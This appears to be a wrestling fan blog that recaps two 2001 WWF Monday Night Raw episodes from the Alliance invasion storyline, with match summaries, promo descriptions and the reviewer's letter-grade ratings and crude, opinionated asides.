Austin rips into Morrus and says he’s not here to be funny so get out of his face. Now it’s Raven. Who beat him last week? That would be Perry Saturn. “He carries a mop. You should have mopped the ring with him.” Austin makes fun of Raven’s catchphrases which gets a big reaction. “You suck, quoth Stone Cold, nevermore.”

And then there’s Taz. This was what was built up as the big face turn in the Alliance but it never happened. Austin rips into Taz for not putting up a fight and being a joke of a human suplex machine. We get a clip of Taz doing nothing while Shane took a Rock Bottom through the table last week on Smackdown.

Austin takes off his belt and says it’s time for a come to Jesus moment. Taz has put him in a bad position and has to be whipped as a result. Austin demands the shirt come off but Taz won’t do it. Instead Austin sends Raven and Morrus plus others in for a beatdown. After What’s Up and a Gore, Austin whips him. Cool segment which didn’t feel like the twenty minutes it took up.

Christian says he’ll be in Edge’s corner for the match tonight.

Tajiri vs. Albert

Tajiri tries his fast strikes but Albert throws him around. A gorilla press drop and a splash get two. He loads up the Derailer but Tajiri slides down and fires off kicks. Tajiri tries the Tarantula but Pac interferes. Regal takes X-Pac out and Tajiri mists him. Baldo Bomb is loaded up but Regal makes the save as the referee is with X-Pac. More mist to Albert and a middle rope dropkick sets up the Buzzsaw Kick for the pin. Too short to rate but this was fast paced and fun.

RVD has challenged Angle to a match for the Hardcore Title match tonight. Angle pops up and says his ankle is sore but he’s got gold medals. He was in worse shape when he won those so yes he accepts the challenge. Hugh Morrus pops up and beats down Angle. And never mind as Kurt Angle remembers he’s fighting Hugh Morrus and comes back with an ankle lock.

Edge/Christian vs. Lance Storm/Justin Credible

We get an Impact Players pose on the stage which is always cool. Why? Because it happened in the past and is therefore inherently awesome. Heyman immediately starts talking about the history of the Alliance team. Christian takes over on Storm to start, hitting an atomic drop and it’s off to Justin. A sitout powerbomb gets two for Justin as the evil ones take over.

Christian takes Storm down and makes the tag to Edge. He cleans house but throws Justin into Christian, sending the latter into the barricade ala Shawn and Owen at Survivor Series 93. There’s no one for Edge to tag and a superkick gets two on him. Edge fights them both off and the Impaler ends Justin. Too short to rate again but this was another entertaining match.

Edge gets put in the Maple Leaf post match but Christian makes the save.

Debra says RVD can beat Angle. Austin says RVD is awesome but Angle is a different kind of animal. Shawn Stasiak comes in to praise Austin’s speeches. Austin tells Stasiak to be more than the son of a former WWF Champion. Stasiak says he’ll do something memorable. This might result in comedy if I remember right.

Kanyon talks to Palumbo/O’Haire about their rematch with Kane/Undertaker tonight. Page tries to fire them up too.

Angle comes in to talk to Regal about the RVD match. Regal tries to tell him to take it easy because of the ankle injury because he doesn’t want to get hurt before Summerslam. Angle says it’s ok and goes into a story about Benjamin Franklin, but Shawn Stasiak comes running in, screaming at the top of his lungs. Angle lets him go crashing into Regal’s suit of armor and Stasiak knocks himself unconscious. This would become a running joke for Stasiak and would actually stay funny.

WCW Tag Titles: Sean O’Haire/Chuck Palumbo vs. Undertaker/Kane

In a cage with the brothers defending. The challengers jump the brothers as they come in, keeping Kane out of the cage. Kane negates this pretty quickly though, slamming the door on O’Haire’s head. Sean takes a chokeslam and the beating begins. He and Palumbo try to run but Undertaker wants more target practice. DDP and Kanyon watch the carnage from the stage. Kane hits another chokeslam on O’Haire. Last Ride to Palumbo as the squash is complete. Page goes after Sara so she climbs into the cage. The champions get stereo pins to retain.

Rating: D-. And that’s because Taker’s wife is hot. This was totally dominant and O’Haire and Palumbo looked like total jobbers. Allegedly there was some big thing where they were disrespectful backstage, but instead of fining them, they got squashed on TV regularly, completely losing any potential value they could have had until Palumbo realized he was almost gay.

Here are Rhyno and Stephanie for some talking. Her rack looks great here, fresh off the plastic surger. She feels very good because Rhyno gored Jericho through the Smackdown set last week. We get a clip of it and to be fair, it did look pretty awesome. Jericho must have had a screw knocked loose because he’s accepted Rhyno’s challenge for Summerslam. Rhyno says it would be an honor to take Jericho out. Stephanie wants to see the video again but here’s Jericho in person.

Jericho says it’s true that he’s never beaten Rhyno, but he’ll take care of the smelly greasy nasty animal at Summerslam. “And I’m going to get you too Rhyno.” Jericho talks about how Rhyno promised to get the job done, but it appears that Stephanie would know about getting a job done. We get a comparison of Stephanie being flat as compared to now when she could put an eye out. Jokes abound withStephanie trying to cover up and making them look even bigger is funny.

She claims that Jericho is just having a wild imagination. Rhyno cuts him off and says come down here and say it. Cue Booker of all people who says that Stephanie is all natural. He says she looks good and thinks she’s taking her vitamins. Booker implies Jericho looks like a woman and says go join the Backstreet Boys. Jericho says go join the A-Team. I love it when a promo comes together. Booker says on Sunday he’s taking Rock to school.

Cue Rock to talk about Booker taking him to school. Rock says imagine Booker in high school: the only 27 year old senior, waiting on the bus with his mama. BEEP BEEP! Then Booker could get to class. “Ok class: what is 2+2. Booker? Thomas Jefferson sucka!” Booker is intelligent but not as smart as Shane. Shane wouldn’t even come out here tonight after the beating Rock gave him on Thursday.

Jericho says that in the ring, we have a manbeast and a ho’s beast. We have the Gore and the…..Stephanie: “SHUT UP!” Rock thinks we should have a rhyming contest. Rock: “Booker T and Shane, the WCW sucker and the silver spoon mother……” and Stephanie misses her cut off so they have to censor Rock. Stephanie makes the obvious tag match tonight. This would be promo #2 tonight that went over eighteen minutes. Spending 1/3 of your show on two promos isn’t a good idea. Jericho: “Thanks Stephanie. You’re the breast.” Rock was feeling it here too so this was funny stuff.

Hurricane Helms comes in to see Austin. He’s been inspired by the speech Austin gave earlier. Austin and Debra make fun of the Green Lantern tattoo on his shoulder. That reminds Austin of Kurt Angle but Hurricane doesn’t think Angle could beat Green Lantern. Hurricane says he tries to fly too. Austin says go act like a hurricane.

Test vs. Spike Dudley

This is because of a six man on Sunday. Test overpowers him to start and throws Spike (didn’t he have a broken leg?) over the top to counter the Dudley Dog. Back in Test misses the big elbow and Spike speeds things up. He hits a middle rope rana but the Dudley Dog is countered again. Big boot ends this quick.

The APA and the Dudleys come in for the post match brawl.

Matt/Lita and Angle shoot the breeze before making fun of Green Lantern. Hurricane comes in and slaps Angle’s milk away. You know that means a whooping.

Hardcore Title: Rob Van Dam vs. Kurt Angle

Rob meets him in the aisle. Remember that Kurt has a bad ankle. Rob is rammed into various metal objects and it’s all Kurt to start. Austin and Debra are watching in the back. RVD comes back with his spin kick to the back of Angle on the barricade for two. Into the ring for the first time and Rob brings in a chair.

Naturally he goes into it which gets two for Kurt. Van Dam comes back with a spin kick and the chair surfboard for two. Kurt tries to go up but gets kicked in the head. He responds by taking Van Dam’s head off with a clothesline. Alliance guys run in to break up the ankle lock but Angle hits the Slam on RVD. Jeff Hardy runs in and hits a Swanton on RVD to steal the title.

Rating: C+. Like most of the other short matches tonight, this was energetic enough to make up for the shortness. Jeff winning the title gave him something to do and it was pretty clear that Angle wasn’t going into the main event of Summerslam as the Hardcore Champion. Fast paced and fun here, which are the words of the night for almost all of the wrestling so far.

Austin is in the bathroom when Stasiak is here to apologize. Austin swings the door open to knock him out cold again. Still funny.

Chris Jericho/The Rock vs. Rhyno/Booker T

Jericho and Rhyno start us off and the Canadian hits a cross body to take over. Middle rope missile dropkick gets one as Booker saves. Off to Rock to fire off some rights. Back to Jericho who hits the bulldog but Booker clotheslines him down from the apron. Off to Booker who walks into a flapjack. Stephanie continues to look horrible when she tries to show emotion. Off to Rock and Rhyno with Rock dominating.

Back to Booker and Rhyno low bridges Rock to send him out to the floor, giving the Alliance control. Booker hits a big kick for two. After more of a beating, Booker pulls of a Spinrooni. Was there ever a shirt for that? Back to Rhyno and Rock takes him down with ease and makes the tag to Jericho.

Neckbreaker gets two for Jericho and everything breaks down. Stephanie manages to hit Jericho with a chair and a WCW referee runs down to count two. Rock pulls and then knocks him out. Jericho hooks the Walls on Rhyno and a WWF referee is taken out by Shane. Stephanie comes in, allowing Rhyno to hit Jericho low, roll him up and pin him.

Rating: C. This was your usual main event tag match but the ending was pretty weak. It pushed both matches, but at the same time it felt like it was more about Jericho vs. Stephanie than Jericho vs. Rhyno and we never really got a major payoff to Jericho vs. Stephanie, which sucks for the most part.

Post match Rock cleans house and beats up Shane too. Rock Bottoms all around but Booker intercepts Rock and hits the Bookend. The Alliance stands tall to end the show.

Overall Rating: B-. This was a good show overall, especially with the big hype to Summerslam. Rock vs. Booker was the focus of tonight which is fine when you have Austin vs. Angle selling itself. The show would wind up being good but Austin vs. Angle was always kind of a letdown for me. Good go home show though.

Here’s Summerslam if you’re interested:

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Monday Night Raw – July 16, 2001: The Old Stone Cold Is Back. For Six Days.

Monday Night Raw
Date: July 16, 2001
Location: Providence Civic Center, Providence, Rhode Island
Commentators: Jim Ross, Michael Cole

This is the go home show for Invasion and the idea is that Team WWF has no real leader. Vince begged with Austin to be the old Stone Cole instead of the hilarious one he’s been lately. The Alliance has officially been formed and we’re getting ready for the Inaugural Brawl on Sunday. Let’s get to it.

We open with a clip from Smackdown with Vince asking Austin to be the old Stone Cole again. He begged Austin to beat him up but Austin shook his head no, walked up the ramp, and left. Vince yelled back at Austin to come back and stun him, ala Shane (the movie, not the kid).

Austin is at the Friendly Tap here in Providence instead of at the arena.

Taker/Kane vs. Page/Rhyno is the main event.

Here’s Spike on crutches to open the show with a major announcement. He’s got something that’s been building in him for awhile and would like Molly to come out here. The announcement is that he loves her. She loves him too. Spike gives her a rose and Molly says she has something for him too but she can’t give it to him here. Spike: “Ladies and gentlemen, thank you and good night!”

Cue Heyman to interrupt the live sex celebration. Heyman says Spike needs to join ECW before this gets insane. Go to the penthouse suite and take care of things with Molly then come to the ECW offices. ECW has offices? Spike declines and says he’s staying with Molly. There’s a place in ECW for Molly too. It’ll only take some liposuction and breast implants.

Spike defends Molly but the Dudleys come out to stop that. Bubba says Spike cost them the tag belts and accuses him of stealing their spotlight. People should be talking about ECW but they’re talking about Spike and Molly. D-Von jumps him and tie him in the ropes. Molly tries to fight back but winds up going through a table.

Angle is practicing his speech to Vince to offer his services as leader of Team WWF on Sunday. Vince comes in and Angle mentions that Austin is at the Friendly Tap. He pitches his idea of leading Team WWF and Vince doesn’t even acknowledge it.

Farrooq vs. Chuck Palumbo

Cole is already screwing things up as he says this is a tag match. O’Haire and Bradshaw are here and these four are the WCW and WWF tag champions. Palumbo charges into the ring and takes over to start but Farrooq pounds him down. The tag teams will meet on Sunday at Invasion in a non-title match. A dropkick puts Farrooq on the floor and Palumbo adds a baseball slide. O’Haire gets involved and eats some steps due to Bradshaw. DDT gets two for Palumbo. Farrooq hits a spinebuster but O’Haire distracts him, allowing the superkick from Palumbo to get the pin. That might be the first Alliance win that was almost clean.

Angle complains to Steve Lombardi that he should be the leader. He calls him Bomber to be funny. Kurt: “I can be extreme. I drank milk the day after it expired once.” Raven comes in and says Kurt isn’t extreme. Angle says Raven isn’t missed so Raven does some of his poetry. Angle asks what most people ask when they hear a Raven promo: what are you talking about? Anyway it’s Raven vs. Angle later, ECW rules. Angle: “WWF rules pal!” Angle was awesome in this role.

Mike Awesome vs. Edge

Before the match, Storm issues a challenge for Invasion between the two of them vs. Edge/Christian. Storm will have no more of these offbeat shenanigans! Five points for working shenanigans in. Here are the Canadians and Christian says Holy Jurassic Park, we’ve actually found a living, breathing Reekasaurus Rex. The tag match is made and offbeat shenanigans RULE!

Awesome controls to start and splashes him into the corner. Edge comes back with a clothesline and neckbreaker for two. Awesome takes it to the floor and rams Edge into the apron. Back in Edge gets his knees up and fires off some dropkicks. Awesome Bomb is countered into the Buzzkiller (Edgecution) but Storm puts the foot on the rope. Storm comes in and is easily dispatched. Christian brings in chairs for a Conchairto but as the referee gets rid of them, Storm superkicks Edge and Awesome gets the pin.

Rating: D+. Eh not bad but the Alliance guys still can’t get a clean win no matter what they do. This is the problem that they had for the entire run of the angle: there’s no reason to assume that the WWF was ever in any real danger because they never got beaten clean at all. Eventually someone competent would beat WCW/ECW (not yet called the Alliance actually) so why get worried?

On a related note, Cole says the WWF is 0-3 tonight. After two matches. I don’t even need to make fun of him anymore.

Stephanie, with her horrible braided hair, praises Booker for how awesome he is. Jericho comes in and makes Seinfeld references with Steph. He calls her a w**** so Booker gets in his face. They fight for the WCW Title tonight.

Regal fires up Tajiri for Regal’s match tonight with Tazz. Not sure how that works but whatever. Tajiri will be doing commentary. This should be good.

Stephanie talks to the other parts of the Triad of Terror (Shane/Heyman) about Booker’s match tonight. They announce Team Alliance for Sunday: Booker, DDP, Dudleys and Rhyno. So we have Booker, a tag team that lost to the APA, a guy that has gotten mauled by Undertaker every time it’s been fair, and a lackey to a tag team against the five best the WWF has to offer. SMELL THE BUYRATE!!!

Vince comes to the Friendly Tap, which appears to be totally empty other than Austin, Vince and Debra. He apologizes to Austin for what he asked on Thursday but he still needs Austin tonight. Austin keeps drinking and turns his back on Vince. Vince says he’s heading back tot he arena and hopes to see Austin there tonight.

Tazz vs. William Regal

Tajiri is on commentary. Apparently he did this on Smackdown as well. The brawl starts on the floor but heads inside quickly. Knee Trembler puts Tazz down but Tazz comes back with a suplex. This draws Tajiri into the ring for a showdown. Tajiri says wait and takes his shirt off to reveal an ECW one underneath. Regal is shocked…..and then Tajiri turns AGAIN, breaking Chyna’s record for time between turns. He kicks Tazz in the head and puts him in the Tarantula. That makes ECWCW 3-0 tonight, or 17-0 if you’re Michael Cole. Good to see they didn’t do the face turn at the PPV or anything like that. We HAD to do it immediately.

DDP gives Rhyno a Best of Sara tape for the Alliance to watch.

Tim White talks to Austin and says he closed the whole bar for him today. That explains a few things. White says he knows Austin will make the right decision.

WCW World Title: Booker T vs. Chris Jericho

JR calls Booker a sellout. How is he a sellout exactly? He’s working for the company that made him famous. Feeling out process to start and the springboard dropkick sends Booker to the outside. Baseball slide sends Booker flying and they fight on the floor a bit. Back in a top rope cross body gets two for Chris. Booker comes back with the spinwheel kick as the announcers talk about how much they need Austin.

Jericho comes back with something kind of like a spear to set up the Walls but Shane comes up for the distraction. Booker superkicks the Canadian for two. Alabama Slam (called a powerbomb by Cole) gets two. Booker hooks a chinlock but Jericho quickly breaks it and hits a flapjack to put everyone down. Jericho chops away and a middle rope dropkick gets two. It should be three but Nick Patrick’s shoulder is bothering him.

Jericho tries the Lionsault but Booker rolls away. Chris lands on his feet and avoids the axe kick. There are the Walls and Booker taps but Nick Patrick has a knee injury this time. Earl Hebner comes in and decks Patrick. He sees the tap and goes to call for the bell but Shane hits him. The distraction lets Booker get a fast rollup with a fast count from Patrick to keep the belt in WCW.

Rating: B-. Fun match but again the ending hurts it. Jericho and Booker should be out there having 20 minute wars instead of these things to build up to a referees’ match on Sunday. That might be interesting though so we can’t have that. Anyway, good match between talented people so there’s no surprise here.

Heyman talks to Saturn in the back and offers him a spot in the Alliance. Saturn says Snausages.

Raven vs. Kurt Angle

This is under ECW Rules, meaning street fight/hardcore. Angle spears him down immediately to make him drop whatever Raven has in his hand. Kurt hits him with the medals. That’s a new one. Raven comes back with a drop toehold onto a trashcan (doesn’t dent) for two. Angle pounds him down and rips Raven’s shirt off to choke him. Sign to the head sets up a trashcan to the head and a few to the back. Raven counters into the clothesline and bulldog out of the corner (basically stolen by Punk) but Kurt breaks it with ease. Angle Slam and Ankle Lock end this. Total squash.

Angle destroys Raven post match with various evil submissions until Justin Credible, Kanyon and some other guy run out. They get cleared out without landing a single punch by a chair from Kurt. The one major bright spot in this story: it made Angle look like a STAR.

Austin shoots pool.

Hardy Boys vs. Dudley Boys

Welcome to a game of HOW MANY TIMES CAN THESE TEAMS POSSIBLY FIGHT???? Matt is European Champion and Jeff is Hardcore Champion. Trish (dating Jeff I think) and Lita stay in the back, prompting a WE WANT LITA chant. Matt and D-Von start us off with Matt keeping control. Jeff comes in and gets taken down very quickly by the other brothers.

Bubba gets two off an elbow drop. Double flapjack puts Jeff down and it’s D-Von again. Matt offers a quick distraction so Jeff can punch Ray in the balls. It allows the hot tag to Matt and everything breaks down. Twist/Swanton combo gets two on D-Von as Ray saves. Matt tries a sunset flip but RVD comes in and holds D-Von’s arms as he goes down for the pin on Matt.

Rating: C-. Picture any Hardys vs. Dudleys match. This one wasn’t as good as whichever one you picked. In short, this feud has been PLAYED. They had the same three teams feuding in some combination or the other for over a year and a half. The same thing happened in the main event with HHH, Rock and Austin dominating everything for almost two years. People got tired of it which is why things died off.

Five Star to Jeff.

The APA isn’t happy and Vince wants to know what they’re going to do about it. Vince says that since Austin won’t be here, the rest of them have to.

Shane and Stephanie say that they’ve sold their stock to finance the Invasion. Therefore, DON’T SCREW UP. Heyman gives his usual speech which fires people up.

The APA, Taker and Vince give a speech to the WWF C Team. Taker says screw Austin so let’s do it ourselves. Angle is in there too so it’s not totally the C Team. They actually wheel in FREDDIE BLASSIE to give them a big pep talk. Does anyone actually buy that it’s this serious of a threat from a bunch of WCW jobbers and 1-2 big names?

Austin watches from the bar and leaves.

Trish Stratus vs. Terri

Terri slaps her to start but can’t handle walking so Trish giant swings her. I’m sure this match is happening for competition rather than to see Terri in a skin colored bikini right? A bulldog by Trish ends this if you’re curious.

Trish goes to strip her post match when Stacy and Torrie run in. Lita makes the save.

Diamond Dallas Page/Rhyno vs. Undertaker/Kane

The Brothers clear the ring early on. Kane and Rhyno officially get us going and the horny one takes a powerslam. This is one of those matches where everyone hits high power and high impact stuff from the bell. Taker comes in to knock Rhyno around a lot. Old School sends Rhyno to the floor and it breaks down even more. The Brothers beat on them even more and here are the Dudleys. I’m not going to bother rating it because it was far more of a brawl than a match.

Team ECWCW beats on them until Team WWF plus a bunch of guys come out. It turns into a huge battle royal and there’s another part in the parking lot. Austin is here! He beats up everyone with the pool cue but doesn’t touch the WWF guys. The ECWCW guys start to clear the ring but CUE GLASS SHATTER! Austin walks in and he clears house. He hits about ten Stunners and the Brothers are up again.

Shane and Stephanie find Blassie in the back and tell him he’ll be dead soon, just like the WWF. Gee, nice of you guys to end the show with THAT instead of Austin standing tall.

Overall Rating: D+. Where do I even begin? First and foremost, WHY IN THE WORLD WOULD I WANT TO BUY INVASION NOW??? Austin and Team WWF just destroyed Team WCW plus about ten other guys like it was nothing. We’re led to believe that the WWF is unbeatable which is saying a lot considering they’re outnumbered in this.

This is the Invasion in a nutshell: the WWF looks awesome, the Alliance can’t do jack, so they pick off some WWF guys who can fight for them. With what was available, why in the world would you do this? Heaven forbid that WCW looks even slightly better than WWF for 5 seconds. We can’t have that. I mean, it might make us a billion dollars.

Here’s Invasion if you’re interested:

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